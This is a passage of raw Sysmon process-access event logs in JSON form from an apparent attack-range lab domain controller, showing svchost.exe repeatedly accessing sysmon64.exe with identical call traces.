C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.733","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1389,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1390,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1391,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1392,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1393,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1394,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1395,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1396,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 